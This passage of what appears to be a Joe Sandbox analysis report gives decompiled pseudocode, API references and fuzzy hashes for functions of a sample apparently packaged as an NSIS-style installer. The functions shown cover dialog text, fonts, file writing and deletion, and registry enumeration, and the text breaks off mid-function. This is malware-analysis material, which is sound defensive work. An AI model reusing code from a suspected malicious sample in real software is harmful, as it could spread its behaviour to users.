				_t15 = SendMessageW(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageW(_t28, 0x113e, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageW(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404f8d
0x00404f9a
0x00404fa0
0x00404fde
0x00404fde
0x00404fed
0x00404ff4
0x00000000
0x00404ff6
0x00404fa2
0x00404fb1
0x00404fb9
0x00404fbc
0x00404fce
0x00404fd4
0x00404fdb
0x00000000
0x00404fdb
0x00000000

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404F9A
GetMessagePos.USER32 ref: 00404FA2
ScreenToClient.USER32(?,?), ref: 00404FBC
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404FCE
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404FF4

Strings

f, xrefs: 00404FD0

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction ID: ce4c7d6d39dceca23aa6ebdb29af7737867007859e7bede0b388bd4d525dd41f
Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction Fuzzy Hash: 3C014C71940219BADB00DBA4DD85BFEBBB8AF54711F10012BBB50B61C0D6B49A058BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401E4E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00401E4E(intOrPtr __edx) {
				void* __edi;
				int _t9;
				signed char _t15;
				struct HFONT__* _t18;
				intOrPtr _t30;
				void* _t31;
				struct HDC__* _t33;
				void* _t35;

				_t30 = __edx;
				_t33 = GetDC( *(_t35 - 8));
				_t9 = E00402D84(2);
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				0x40cdf8->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t33, 0x5a), 0x48));
				ReleaseDC( *(_t35 - 8), _t33);
				 *0x40ce08 = E00402D84(3);
				_t15 =  *((intOrPtr*)(_t35 - 0x20));
				 *((intOrPtr*)(_t35 - 0x10)) = _t30;
				 *0x40ce0f = 1;
				 *0x40ce0c = _t15 & 0x00000001;
				 *0x40ce0d = _t15 & 0x00000002;
				 *0x40ce0e = _t15 & 0x00000004;
				E004066A5(_t9, _t31, _t33, "Tahoma",  *((intOrPtr*)(_t35 - 0x2c)));
				_t18 = CreateFontIndirectW(0x40cdf8);
				_push(_t18);
				_push(_t31);
				E004065AF();
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x00401e4e
0x00401e59
0x00401e5b
0x00401e68
0x00401e7f
0x00401e84
0x00401e91
0x00401e96
0x00401e9a
0x00401ea5
0x00401eac
0x00401ebe
0x00401ec4
0x00401ec9
0x00401ed3
0x00402638
0x0040156d
0x00402ba4
0x00402c2d
0x00402c39

APIs

GetDC.USER32(?), ref: 00401E51
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
MulDiv.KERNEL32(00000000,00000000), ref: 00401E73
ReleaseDC.USER32(?,00000000), ref: 00401E84

Part of subcall function 004066A5: lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040684A
Part of subcall function 004066A5: lstrlenW.KERNEL32(Call,00000000,00422728,?,00405701,00422728,00000000), ref: 004068A4

CreateFontIndirectW.GDI32(0040CDF8), ref: 00401ED3

Strings

Tahoma, xrefs: 00401EB9

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectReleaselstrcatlstrlen
String ID: Tahoma
API String ID: 2584051700-3580928618
Opcode ID: da8e727cde32dbac5ba0c7db49ef74d213bcb2a0e3f4fe6d3c107a90d4fe1e84
Instruction ID: b9cc094806d22c325402cb6ccb5f5134c2025175c414775df3ff87de861ccae2
Opcode Fuzzy Hash: da8e727cde32dbac5ba0c7db49ef74d213bcb2a0e3f4fe6d3c107a90d4fe1e84
Instruction Fuzzy Hash: 8401B571900241EFEB005BB4EE89A9A3FB0AB15301F208939F541B71D2C6B904459BED

Uniqueness

Uniqueness Score: -1.00%

Function 00402F93 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402F93(struct HWND__* _a4, intOrPtr _a8) {
				short _v132;
				void* _t11;
				WCHAR* _t19;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t11 = E00403012();
					_t19 = L"unpacking data: %d%%";
					if( *0x42a270 == 0) {
						_t19 = L"verifying installer: %d%%";
					}
					wsprintfW( &_v132, _t19, _t11);
					SetWindowTextW(_a4,  &_v132);
					SetDlgItemTextW(_a4, 0x406,  &_v132);
				}
				return 0;
			}

0x00402fa3
0x00402fb1
0x00402fb7
0x00402fb7
0x00402fc5
0x00402fc7
0x00402fd3
0x00402fd8
0x00402fda
0x00402fda
0x00402fe5
0x00402ff5
0x00403007
0x00403007
0x0040300f

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402FB1
wsprintfW.USER32 ref: 00402FE5
SetWindowTextW.USER32(?,?), ref: 00402FF5
SetDlgItemTextW.USER32(?,00000406,?), ref: 00403007

Strings

verifying installer: %d%%, xrefs: 00402FDA
unpacking data: %d%%, xrefs: 00402FD3, 00402FE3

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: b65fa6b26e28fa793ab4966251e07a6fe500b79f9b1e2f9c66e5bc42e84335f7
Instruction ID: 34ad84b97f90b05cf42cbebec4ee1aaae98efe268bf46a139428006d78f28757
Opcode Fuzzy Hash: b65fa6b26e28fa793ab4966251e07a6fe500b79f9b1e2f9c66e5bc42e84335f7
Instruction Fuzzy Hash: 25F0497050020DABEF246F60DD49BEA3B69FB00309F00803AFA05B51D0DFBD9A559F59

Uniqueness

Uniqueness Score: -1.00%

Function 70F52655 Relevance: 9.1, APIs: 6, Instructions: 109
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E70F52655() {
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t27;
				signed int _t39;
				void* _t40;
				void* _t43;
				intOrPtr _t44;
				void* _t45;

				_t40 = E70F512BB();
				_t24 =  *((intOrPtr*)(_t45 + 0x18));
				_t44 =  *((intOrPtr*)(_t24 + 0x1014));
				_t43 = (_t44 + 0x81 << 5) + _t24;
				do {
					if( *((intOrPtr*)(_t43 - 4)) >= 0) {
					}
					_t39 =  *(_t43 - 8) & 0x000000ff;
					if(_t39 <= 7) {
						switch( *((intOrPtr*)(_t39 * 4 +  &M70F52784))) {
							case 0:
								 *_t40 = 0;
								goto L17;
							case 1:
								__eax =  *__eax;
								if(__ecx > __ebx) {
									 *(__esp + 0x10) = __ecx;
									__ecx =  *(0x70f5407c + __edx * 4);
									__edx =  *(__esp + 0x10);
									__ecx = __ecx * __edx;
									asm("sbb edx, edx");
									__edx = __edx & __ecx;
									__eax = __eax &  *(0x70f5409c + __edx * 4);
								}
								_push(__eax);
								goto L15;
							case 2:
								__eax = E70F51510(__edx,  *__eax,  *((intOrPtr*)(__eax + 4)), __edi);
								goto L16;
							case 3:
								__ecx =  *0x70f5506c;
								__edx = __ecx - 1;
								__eax = MultiByteToWideChar(__ebx, __ebx,  *__eax, __ecx, __edi, __edx);
								__eax =  *0x70f5506c;
								 *((short*)(__edi + __eax * 2 - 2)) = __bx;
								goto L17;
							case 4:
								__eax = lstrcpynW(__edi,  *__eax,  *0x70f5506c);
								goto L17;
							case 5:
								_push( *0x70f5506c);
								_push(__edi);
								_push( *__eax);
								__imp__StringFromGUID2();
								goto L17;
							case 6:
								_push( *__esi);
								L15:
								__eax = wsprintfW(__edi, 0x70f55000);
								L16:
								__esp = __esp + 0xc;
								goto L17;
						}
					}
					L17:
					_t26 =  *(_t43 + 0x14);
					if(_t26 != 0 && ( *((intOrPtr*)( *((intOrPtr*)(_t45 + 0x18)))) != 2 ||  *((intOrPtr*)(_t43 - 4)) > 0)) {
						GlobalFree(_t26);
					}
					_t27 =  *((intOrPtr*)(_t43 + 0xc));
					if(_t27 != 0) {
						if(_t27 != 0xffffffff) {
							if(_t27 > 0) {
								E70F51381(_t27 - 1, _t40);
								goto L26;
							}
						} else {
							E70F51312(_t40);
							L26:
						}
					}
					_t44 = _t44 - 1;
					_t43 = _t43 - 0x20;
				} while (_t44 >= 0);
				return GlobalFree(_t40);
			}

0x70f5265f
0x70f52661
0x70f52665
0x70f52674
0x70f52678
0x70f5267d
0x70f5267d
0x70f52685
0x70f5268c
0x70f52692
0x00000000
0x70f52699
0x00000000
0x00000000
0x70f526a1
0x70f526a5
0x70f526a8
0x70f526ac
0x70f526b3
0x70f526b7
0x70f526bd
0x70f526bf
0x70f526c1
0x70f526c1
0x70f526c8
0x00000000
0x00000000
0x70f526d1
0x00000000
0x00000000
0x70f526d8
0x70f526de
0x70f526e8
0x70f526ee
0x70f526f3
0x00000000
0x00000000
0x70f52714
0x00000000
0x00000000
0x70f526fa
0x70f52700
0x70f52701
0x70f52703
0x00000000
0x00000000
0x70f5271c
0x70f5271e
0x70f52724
0x70f5272a
0x70f5272a
0x00000000
0x00000000
0x70f52692
0x70f5272d
0x70f5272d
0x70f52732
0x70f52743
0x70f52743
0x70f52749
0x70f5274e
0x70f52753
0x70f5275f
0x70f52764
0x00000000
0x70f52769
0x70f52755
0x70f52756
0x70f5276a
0x70f5276a
0x70f52753
0x70f5276b
0x70f5276c
0x70f5276f
0x70f52783

APIs

Part of subcall function 70F512BB: GlobalAlloc.KERNEL32(00000040,?,70F512DB,?,70F5137F,00000019,70F511CA,-000000A0), ref: 70F512C5

GlobalFree.KERNEL32(?), ref: 70F52743
GlobalFree.KERNEL32(00000000), ref: 70F52778

Memory Dump Source

Source File: 00000000.00000002.3306913680.0000000070F51000.00000020.00000001.01000000.00000004.sdmp, Offset: 70F50000, based on PE: true

Associated: 00000000.00000002.3306845588.0000000070F50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3306989815.0000000070F54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3307057428.0000000070F56000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70f50000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 89760f16853884170e2aa27b26d793b94f19a2b1ce1d0027451d16ce48482af4
Instruction ID: af3561c99b61b580d85bf853f91478a233e325755938dc2f8aaac56dacf30f01
Opcode Fuzzy Hash: 89760f16853884170e2aa27b26d793b94f19a2b1ce1d0027451d16ce48482af4
Instruction Fuzzy Hash: 3731BE32204502EFC756DF55ED94E2E7BBAFB8A3147344628F202C32A0C77578099B61

Uniqueness

Uniqueness Score: -1.00%

Function 00402950 Relevance: 9.1, APIs: 6, Instructions: 91
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00402950(void* __ebx, void* __eflags) {
				WCHAR* _t26;
				void* _t29;
				long _t37;
				void* _t49;
				void* _t52;
				void* _t54;
				void* _t56;
				void* _t59;
				void* _t60;
				void* _t61;

				_t49 = __ebx;
				_t52 = 0xfffffd66;
				_t26 = E00402DA6(0xfffffff0);
				_t55 = _t26;
				 *(_t61 - 0x40) = _t26;
				if(E00405FAE(_t26) == 0) {
					E00402DA6(0xffffffed);
				}
				E00406133(_t55);
				_t29 = E00406158(_t55, 0x40000000, 2);
				 *(_t61 + 8) = _t29;
				if(_t29 != 0xffffffff) {
					 *(_t61 - 0x38) =  *(_t61 - 0x2c);
					if( *(_t61 - 0x28) != _t49) {
						_t37 =  *0x42a274;
						 *(_t61 - 0x44) = _t37;
						_t54 = GlobalAlloc(0x40, _t37);
						if(_t54 != _t49) {
							E004035F8(_t49);
							E004035E2(_t54,  *(_t61 - 0x44));
							_t59 = GlobalAlloc(0x40,  *(_t61 - 0x28));
							 *(_t61 - 0x10) = _t59;
							if(_t59 != _t49) {
								E00403371(_t51,  *(_t61 - 0x2c), _t49, _t59,  *(_t61 - 0x28));
								while( *_t59 != _t49) {
									_t51 =  *_t59;
									_t60 = _t59 + 8;
									 *(_t61 - 0x3c) =  *_t59;
									E00406113( *((intOrPtr*)(_t59 + 4)) + _t54, _t60,  *_t59);
									_t59 = _t60 +  *(_t61 - 0x3c);
								}
								GlobalFree( *(_t61 - 0x10));
							}
							E0040620A( *(_t61 + 8), _t54,  *(_t61 - 0x44));
							GlobalFree(_t54);
							 *(_t61 - 0x38) =  *(_t61 - 0x38) | 0xffffffff;
						}
					}
					_t52 = E00403371(_t51,  *(_t61 - 0x38),  *(_t61 + 8), _t49, _t49);
					CloseHandle( *(_t61 + 8));
				}
				_t56 = 0xfffffff3;
				if(_t52 < _t49) {
					_t56 = 0xffffffef;
					DeleteFileW( *(_t61 - 0x40));
					 *((intOrPtr*)(_t61 - 4)) = 1;
				}
				_push(_t56);
				E00401423();
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t61 - 4));
				return 0;
			}

0x00402950
0x00402952
0x00402957
0x0040295c
0x0040295f
0x00402969
0x0040296d
0x0040296d
0x00402973
0x00402980
0x00402988
0x0040298b
0x00402997
0x0040299a
0x004029a0
0x004029ae
0x004029b3
0x004029b7
0x004029ba
0x004029c3
0x004029cf
0x004029d3
0x004029d6
0x004029e0
0x004029ff
0x004029e7
0x004029ec
0x004029f4
0x004029f7
0x004029fc
0x004029fc
0x00402a06
0x00402a06
0x00402a13
0x00402a19
0x00402a1f
0x00402a1f
0x004029b7
0x00402a33
0x00402a35
0x00402a35
0x00402a3f
0x00402a40
0x00402a44
0x00402a48
0x00402a4e
0x00402a4e
0x00402a55
0x004022f1
0x00402c2d
0x00402c39

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B1
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029CD
GlobalFree.KERNEL32(?), ref: 00402A06
GlobalFree.KERNEL32(00000000), ref: 00402A19
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A35
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A48

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: cc682eb677fc0cdddcbf9664361c627099a0f91e8e9c012db3e8b517a211182c
Instruction ID: 78b93316678d616cb595922dcd62a83f4062aa2fb33f08fb70827f98fa9650ab
Opcode Fuzzy Hash: cc682eb677fc0cdddcbf9664361c627099a0f91e8e9c012db3e8b517a211182c
Instruction Fuzzy Hash: E131B171D00124BBCF216FA9CE89D9EBE79AF09364F10023AF461762E1CB794D429B58

Uniqueness

Uniqueness Score: -1.00%

Function 00404E71 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00404E71(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v68;
				char _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				signed int _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t44;
				signed int _t46;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				signed int _t55;

				_t23 = _a16;
				_t53 = _a12;
				_t44 = 0xffffffdc;
				if(_t23 == 0) {
					_push(0x14);
					_pop(0);
					_t24 = _t53;
					if(_t53 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t44 = 0xffffffdd;
					}
					if(_t53 < 0x400) {
						_t44 = 0xffffffde;
					}
					if(_t53 < 0xffff3333) {
						_t52 = 0x14;
						asm("cdq");
						_t24 = 1 / _t52 + _t53;
					}
					_t25 = _t24 & 0x00ffffff;
					_t55 = _t24 >> 0;
					_t46 = 0xa;
					_t50 = ((_t24 & 0x00ffffff) + _t25 * 4 + (_t24 & 0x00ffffff) + _t25 * 4 >> 0) % _t46;
				} else {
					_t55 = (_t23 << 0x00000020 | _t53) >> 0x14;
					_t50 = 0;
				}
				_t31 = E004066A5(_t44, _t50, _t55,  &_v68, 0xffffffdf);
				_t33 = E004066A5(_t44, _t50, _t55,  &_v132, _t44);
				_t34 = E004066A5(_t44, _t50, 0x423748, 0x423748, _a8);
				wsprintfW(_t34 + lstrlenW(0x423748) * 2, L"%u.%u%s%s", _t55, _t50, _t33, _t31);
				return SetDlgItemTextW( *0x429238, _a4, 0x423748);
			}

0x00404e7a
0x00404e7f
0x00404e87
0x00404e88
0x00404e95
0x00404e9d
0x00404e9e
0x00404ea0
0x00404ea2
0x00404ea4
0x00404ea7
0x00404ea7
0x00404eae
0x00404eb4
0x00404eb4
0x00404ebb
0x00404ec2
0x00404ec5
0x00404ec8
0x00404ec8
0x00404ecc
0x00404edc
0x00404ede
0x00404ee1
0x00404e8a
0x00404e8a
0x00404e91
0x00404e91
0x00404ee9
0x00404ef4
0x00404f0a
0x00404f1b
0x00404f37

APIs

lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F12
wsprintfW.USER32 ref: 00404F1B
SetDlgItemTextW.USER32(?,00423748), ref: 00404F2E

Strings

H7B, xrefs: 00404F04
%u.%u%s%s, xrefs: 00404EFC

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$H7B
API String ID: 3540041739-107966168
Opcode ID: 9c55475845004576d56970086a3160dc1853a6ea3782dd039902276dcfc99cf4
Instruction ID: 20619224473e8c08b4fba53027c62ddcf1c3fef784a2ba69f514aa474de30786
Opcode Fuzzy Hash: 9c55475845004576d56970086a3160dc1853a6ea3782dd039902276dcfc99cf4
Instruction Fuzzy Hash: 1A11D8736041283BDB00A5ADDC45E9F3298AB81338F150637FA26F61D1EA79882182E8

Uniqueness

Uniqueness Score: -1.00%

Function 70F52480 Relevance: 7.6, APIs: 5, Instructions: 135
memoryCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E70F52480(void* __edx) {
				void* _t37;
				signed int _t38;
				void* _t39;
				void* _t41;
				signed char* _t42;
				signed char* _t51;
				void* _t52;
				void* _t54;

				 *(_t54 + 0x10) = 0 |  *((intOrPtr*)( *((intOrPtr*)(_t54 + 8)) + 0x1014)) > 0x00000000;
				while(1) {
					_t9 =  *((intOrPtr*)(_t54 + 0x18)) + 0x1018; // 0x1018
					_t51 = ( *(_t54 + 0x10) << 5) + _t9;
					_t52 = _t51[0x18];
					if(_t52 == 0) {
						goto L9;
					}
					_t41 = 0x1a;
					if(_t52 == _t41) {
						goto L9;
					}
					if(_t52 != 0xffffffff) {
						if(_t52 <= 0 || _t52 > 0x19) {
							_t51[0x18] = _t41;
							goto L12;
						} else {
							_t37 = E70F5135A(_t52 - 1);
							L10:
							goto L11;
						}
					} else {
						_t37 = E70F512E3();
						L11:
						_t52 = _t37;
						L12:
						_t13 =  &(_t51[8]); // 0x1020
						_t42 = _t13;
						if(_t51[4] >= 0) {
						}
						_t38 =  *_t51 & 0x000000ff;
						_t51[0x1c] = 0;
						if(_t38 > 7) {
							L27:
							_t39 = GlobalFree(_t52);
							if( *(_t54 + 0x10) == 0) {
								return _t39;
							}
							if( *(_t54 + 0x10) !=  *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x18)) + 0x1014))) {
								 *(_t54 + 0x10) =  *(_t54 + 0x10) + 1;
							} else {
								 *(_t54 + 0x10) =  *(_t54 + 0x10) & 0x00000000;
							}
							continue;
						} else {
							switch( *((intOrPtr*)(_t38 * 4 +  &M70F525F8))) {
								case 0:
									 *_t42 = 0;
									goto L27;
								case 1:
									__eax = E70F513B1(__ebp);
									goto L21;
								case 2:
									 *__edi = E70F513B1(__ebp);
									__edi[1] = __edx;
									goto L27;
								case 3:
									__eax = GlobalAlloc(0x40,  *0x70f5506c);
									 *(__esi + 0x1c) = __eax;
									__edx = 0;
									 *__edi = __eax;
									__eax = WideCharToMultiByte(0, 0, __ebp,  *0x70f5506c, __eax,  *0x70f5506c, 0, 0);
									goto L27;
								case 4:
									__eax = E70F512CC(__ebp);
									 *(__esi + 0x1c) = __eax;
									L21:
									 *__edi = __eax;
									goto L27;
								case 5:
									__eax = GlobalAlloc(0x40, 0x10);
									_push(__eax);
									 *(__esi + 0x1c) = __eax;
									_push(__ebp);
									 *__edi = __eax;
									__imp__CLSIDFromString();
									goto L27;
								case 6:
									if( *__ebp != __cx) {
										__eax = E70F513B1(__ebp);
										 *__ebx = __eax;
									}
									goto L27;
								case 7:
									 *(__esi + 0x18) =  *(__esi + 0x18) - 1;
									( *(__esi + 0x18) - 1) *  *0x70f5506c =  *0x70f55074 + ( *(__esi + 0x18) - 1) *  *0x70f5506c * 2 + 0x18;
									 *__ebx =  *0x70f55074 + ( *(__esi + 0x18) - 1) *  *0x70f5506c * 2 + 0x18;
									asm("cdq");
									__eax = E70F51510(__edx,  *0x70f55074 + ( *(__esi + 0x18) - 1) *  *0x70f5506c * 2 + 0x18, __edx,  *0x70f55074 + ( *(__esi + 0x18) - 1) *  *0x70f5506c * 2);
									goto L27;
							}
						}
					}
					L9:
					_t37 = E70F512CC(0x70f55044);
					goto L10;
				}
			}

0x70f52494
0x70f52498
0x70f524a3
0x70f524a3
0x70f524aa
0x70f524af
0x00000000
0x00000000
0x70f524b3
0x70f524b6
0x00000000
0x00000000
0x70f524bb
0x70f524c6
0x70f524d6
0x00000000
0x70f524cd
0x70f524cf
0x70f524e5
0x00000000
0x70f524e5
0x70f524bd
0x70f524bd
0x70f524e6
0x70f524e6
0x70f524e8
0x70f524ec
0x70f524ec
0x70f524ef
0x70f524ef
0x70f524f7
0x70f524ff
0x70f52502
0x70f525c1
0x70f525c2
0x70f525cd
0x70f525f7
0x70f525f7
0x70f525dd
0x70f525e9
0x70f525df
0x70f525df
0x70f525df
0x00000000
0x70f52508
0x70f52508
0x00000000
0x70f5250f
0x00000000
0x00000000
0x70f52517
0x00000000
0x00000000
0x70f52525
0x70f52527
0x00000000
0x00000000
0x70f52548
0x70f5254e
0x70f52551
0x70f52553
0x70f52563
0x00000000
0x00000000
0x70f52530
0x70f52535
0x70f52538
0x70f52539
0x00000000
0x00000000
0x70f5256f
0x70f52575
0x70f52576
0x70f52579
0x70f5257a
0x70f5257c
0x00000000
0x00000000
0x70f52588
0x70f5258b
0x70f52597
0x70f52599
0x00000000
0x00000000
0x70f525a5
0x70f525b1
0x70f525b4
0x70f525b6
0x70f525b9
0x00000000
0x00000000
0x70f52508
0x70f52502
0x70f524db
0x70f524e0
0x00000000
0x70f524e0

APIs

GlobalFree.KERNEL32(00000000), ref: 70F525C2

Part of subcall function 70F512CC: lstrcpynW.KERNEL32(00000000,?,70F5137F,00000019,70F511CA,-000000A0), ref: 70F512DC

GlobalAlloc.KERNEL32(00000040), ref: 70F52548
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 70F52563

Memory Dump Source

Source File: 00000000.00000002.3306913680.0000000070F51000.00000020.00000001.01000000.00000004.sdmp, Offset: 70F50000, based on PE: true

Associated: 00000000.00000002.3306845588.0000000070F50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3306989815.0000000070F54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3307057428.0000000070F56000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70f50000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 4b8ce57a7eb006f220a4bc72447a6cfd7ae77e4c969f44d1049e18d0de77deac
Instruction ID: 37b12ee699424c4c33556723546e2af86ad1f7bc3d8d16433b042b80add2ad04
Opcode Fuzzy Hash: 4b8ce57a7eb006f220a4bc72447a6cfd7ae77e4c969f44d1049e18d0de77deac
Instruction Fuzzy Hash: 3D41BCB2008305DFD794DF24DC50A2E77F8FB46320F244A1DF546C6282EB74A548DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00402EA9 Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00402EA9(void* __eflags, void* _a4, short* _a8, signed int _a12) {
				void* _v8;
				int _v12;
				short _v536;
				void* _t27;
				signed int _t33;
				intOrPtr* _t35;
				signed int _t45;
				signed int _t46;
				signed int _t47;

				_t46 = _a12;
				_t47 = _t46 & 0x00000300;
				_t45 = _t46 & 0x00000001;
				_t27 = E004064D5(__eflags, _a4, _a8, _t47 | 0x00000009,  &_v8);
				if(_t27 == 0) {
					if((_a12 & 0x00000002) == 0) {
						L3:
						_push(0x105);
						_push( &_v536);
						_push(0);
						while(RegEnumKeyW(_v8, ??, ??, ??) == 0) {
							__eflags = _t45;
